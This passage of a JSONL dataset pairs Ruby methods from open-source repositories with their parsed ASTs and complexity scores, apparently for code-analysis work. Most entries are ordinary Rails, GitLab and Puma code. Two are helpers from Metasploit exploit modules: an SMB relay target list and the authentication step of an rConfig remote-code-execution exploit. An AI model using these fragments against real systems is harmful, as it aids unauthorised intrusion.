{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"to_f\"]},\"/\",{\"type\":\"const\",\"children\":[null,\"TOTAL_CONVERSATIONS\"]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\rCreating conversations: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOTAL_CONVERSATIONS\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completion_percentage\"]}]},{\"type\":\"str\",\"children\":[\"%)\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"22bbe19e-b987-4ab0-aa86-6f71382830ae"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/blob.rb","start_line":231,"raw_source":"def has_lfs_version_key?\n !empty? && text_in_repo? && data.start_with?(\"version https://git-lfs.github.com/spec\")\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"has_lfs_version_key?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"text_in_repo?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"version https://git-lfs.github.com/spec\"]}]}]}]}","id":"a2a023aa-5a8f-4f06-9313-930d35744674"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/articles_controller.rb","start_line":78,"raw_source":"def list_params\n params.permit(:locale, :query, :page, :category_slug, :status, :author_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"list_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"category_slug\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]}]}]}","id":"9130f7a3-421e-477a-a0fc-ce693e8b2c67"}
+{"repo_name":"pundit","file_path":"./repos/pundit/lib/pundit/authorization.rb","start_line":66,"raw_source":"def pundit_reset!\n @pundit = nil\n @_pundit_policies = nil\n @_pundit_policy_scopes = nil\n @_pundit_policy_authorized = nil\n @_pundit_policy_scoped = nil\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pundit_reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pundit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policies\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policy_scopes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policy_authorized\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_pundit_policy_scoped\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8f26dc23-0282-45ac-b6d8-51363196d4b8"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/multiple_comparison.rb","start_line":144,"raw_source":"def root_of_or_node(or_node)\n return or_node unless or_node.parent\n\n if or_node.parent.or_type?\n root_of_or_node(or_node.parent)\n else\n or_node\n end\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"root_of_or_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"or_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]},\"parent\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]},\"parent\"]},\"or_type?\"]},{\"type\":\"send\",\"children\":[null,\"root_of_or_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"or_node\"]},\"parent\"]}]},{\"type\":\"lvar\",\"children\":[\"or_node\"]}]}]}]}","id":"9d3a9e8a-97d7-4a9a-b529-1ac0bfc14f39"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":53,"raw_source":"def test_symbolize_keys_for_hash_with_indifferent_access\n assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys\n assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys\n assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys\n assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_symbolize_keys_for_hash_with_indifferent_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbols\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbols\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@strings\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@symbols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mixed\"]},\"with_indifferent_access\"]},\"symbolize_keys\"]}]}]}]}","id":"ff9731b8-28de-489a-a0f9-ad96a587b5ac"}
+{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20161013195522_add_colors_to_orgs.rb","start_line":2,"raw_source":"def change\n add_column :organizations, :bg_color_hex, :string\n add_column :organizations, :text_color_hex, :string\n\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"bg_color_hex\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"text_color_hex\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"6476e350-dc73-49f9-bf5c-6c8791cdef25"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/asset_tag_import.rb","start_line":23,"raw_source":"def self.upload(klass, fd)\n klass = Object.const_get(klass.to_s)\n raise _(\"%{name} not supported for upload!\") % {:name => klass} unless REQUIRED_COLS.key?(klass)\n raise _(\"%{name} not supported for upload!\") % {:name => klass} unless MATCH_KEYS.key?(klass)\n\n data, keys, tags = MiqBulkImport.upload(fd, REQUIRED_COLS[klass], MATCH_KEYS[klass].dup)\n\n import = new(:data => data, :keys => keys, :tags => tags, :klass => klass)\n import.verify\n import\n end","complexity_score":26.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_get\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REQUIRED_COLS\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{name} not supported for upload!\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MATCH_KEYS\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{name} not supported for upload!\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"keys\"]},{\"type\":\"lvasgn\",\"children\":[\"tags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqBulkImport\"]},\"upload\",{\"type\":\"lvar\",\"children\":[\"fd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REQUIRED_COLS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MATCH_KEYS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},\"dup\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"import\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"verify\"]},{\"type\":\"lvar\",\"children\":[\"import\"]}]}]}","id":"8890bd8e-26c5-4180-847a-740fe0b8c600"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/delete_all_test.rb","start_line":69,"raw_source":"def test_delete_all_with_group_by_and_having\n minimum_comments_count = 2\n posts_to_be_deleted = Post.most_commented(minimum_comments_count).all.to_a\n assert_operator posts_to_be_deleted.length, :>, 0\n\n assert_difference(\"Post.count\", -posts_to_be_deleted.length) do\n Post.most_commented(minimum_comments_count).delete_all\n end\n\n posts_to_be_deleted.each do |deleted_post|\n assert_raise(ActiveRecord::RecordNotFound) { deleted_post.reload }\n end\n end","complexity_score":20.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_all_with_group_by_and_having\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"minimum_comments_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_to_be_deleted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"most_commented\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]},\"all\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_to_be_deleted\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Post.count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_to_be_deleted\"]},\"length\"]},\"-@\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"most_commented\",{\"type\":\"lvar\",\"children\":[\"minimum_comments_count\"]}]},\"delete_all\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_to_be_deleted\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deleted_post\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_post\"]},\"reload\"]}]}]}]}]}","id":"aa177748-a696-4c89-af52-aa364c4e4081"}
+{"repo_name":"puma","file_path":"./repos/puma/test/config/custom_logger.rb","start_line":6,"raw_source":"def write(msg)\n @output.puts 'Custom logging: ' + msg\n @output.flush\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Custom logging: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"flush\"]}]}]}","id":"e2475a9b-53d1-4bfb-9242-55cb00b7929c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gfm/reference_rewriter.rb","start_line":93,"raw_source":"def find_referable(reference)\n extractor = Gitlab::ReferenceExtractor.new(source_parent_param[:project], @current_user)\n extractor.analyze(reference, **source_parent_param)\n extractor.all.first\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_referable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extractor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ReferenceExtractor\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_parent_param\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"analyze\",{\"type\":\"lvar\",\"children\":[\"reference\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_parent_param\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extractor\"]},\"all\"]},\"first\"]}]}]}","id":"9804b134-26c4-4dac-83a8-b8ee0950af55"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/smb_relay.rb","start_line":213,"raw_source":"def relay_targets\n Msf::Exploit::Remote::SMB::Relay::TargetList.new(\n :smb,\n rport,\n datastore['RHOSTS'],\n randomize_targets: datastore['RANDOMIZE_TARGETS']\n )\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relay_targets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"SMB\"]},\"Relay\"]},\"TargetList\"]},\"new\",{\"type\":\"sym\",\"children\":[\"smb\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"randomize_targets\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RANDOMIZE_TARGETS\"]}]}]}]}]}]}","id":"1af9a4a5-ce45-4882-a3cb-d9777dd36035"}
+{"repo_name":"puma","file_path":"./repos/puma/lib/puma/runner.rb","start_line":43,"raw_source":"def test?\n @options[:environment] == \"test\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"test\"]}]}]}","id":"1b010feb-703a-422f-a925-566eecae45f6"}
+{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations_test.rb","start_line":394,"raw_source":"def test_strict_validation_custom_exception\n Topic.validates_presence_of :title, strict: CustomStrictValidationException\n assert_raises CustomStrictValidationException do\n Topic.new.valid?\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strict_validation_custom_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_presence_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strict\"]},{\"type\":\"const\",\"children\":[null,\"CustomStrictValidationException\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"CustomStrictValidationException\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]},\"valid?\"]}]}]}]}","id":"67ff5e7e-dfd3-4244-bebe-7476bf28f11c"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/forbidden_attributes_protection_test.rb","start_line":28,"raw_source":"def test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column\n params = ProtectedParams.new(type: \"Client\")\n assert_raises(ActiveModel::ForbiddenAttributesError) do\n Company.new(params)\n end\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedParams\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Client\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"ForbiddenAttributesError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}","id":"422e4a45-0b57-4c2c-a30a-d059849c9b6b"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/authentication/omniauth_service.rb","start_line":250,"raw_source":"def activatable?\n user.new_record? || user.invited? || user.registered?\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"activatable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"invited?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"registered?\"]}]}]}","id":"fd6e07b8-107a-40a1-9e88-9a772b854065"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_merger.rb","start_line":50,"raw_source":"def ensure_same_user!\n if @posts.map(&:user_id).uniq.size != 1\n raise CannotMergeError.new(I18n.t(\"merge_posts.errors.different_users\"))\n end\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_same_user!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},\"uniq\"]},\"size\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CannotMergeError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"merge_posts.errors.different_users\"]}]}]}]},null]}]}","id":"e7736429-c24a-4816-bb27-21f8ab0ad8c5"}
+{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_one_test.rb","start_line":101,"raw_source":"def test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded\n # Warm the ActiveRecord association\n @record.associated\n\n assert_memcache_operations(0) do\n assert_equal(@baz, @record.fetch_associated)\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated\"]}]}]}]}]}","id":"526a9008-c999-444f-95d4-3856b59b2bdc"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/system_check/app/git_user_default_ssh_config_check_spec.rb","start_line":106,"raw_source":"def stub_ssh_file(filename)\n FileUtils.mkdir_p(ssh_dir)\n FileUtils.touch(File.join(ssh_dir, filename))\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_ssh_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[null,\"ssh_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"touch\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"ssh_dir\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"2be0f7e3-bf30-4687-93d6-ba145e7c7269"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb","start_line":115,"raw_source":"def login(user, pass)\n vprint_status \"STEP 2: Authenticating as #{user} ...\"\n # get session cookie (PHPSESSID)\n res = send_request_cgi!(\n 'method' => 'GET',\n 'uri' => '/login.php'\n )\n @cookie = res.get_cookies\n if @cookie.empty?\n fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'\n return\n end\n # authenticate\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),\n 'cookie' => @cookie,\n 'vars_post' => {\n pass: pass,\n user: user,\n sublogin: 1\n }\n )\n unless res\n print_warning('Failed to authenticate: Connection failed.')\n return\n end\n print_good \"Authenticated as user #{user}\"\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"STEP 2: Authenticating as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/login.php\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cookie\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve cookies\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/lib/crud/userprocess.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pass\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\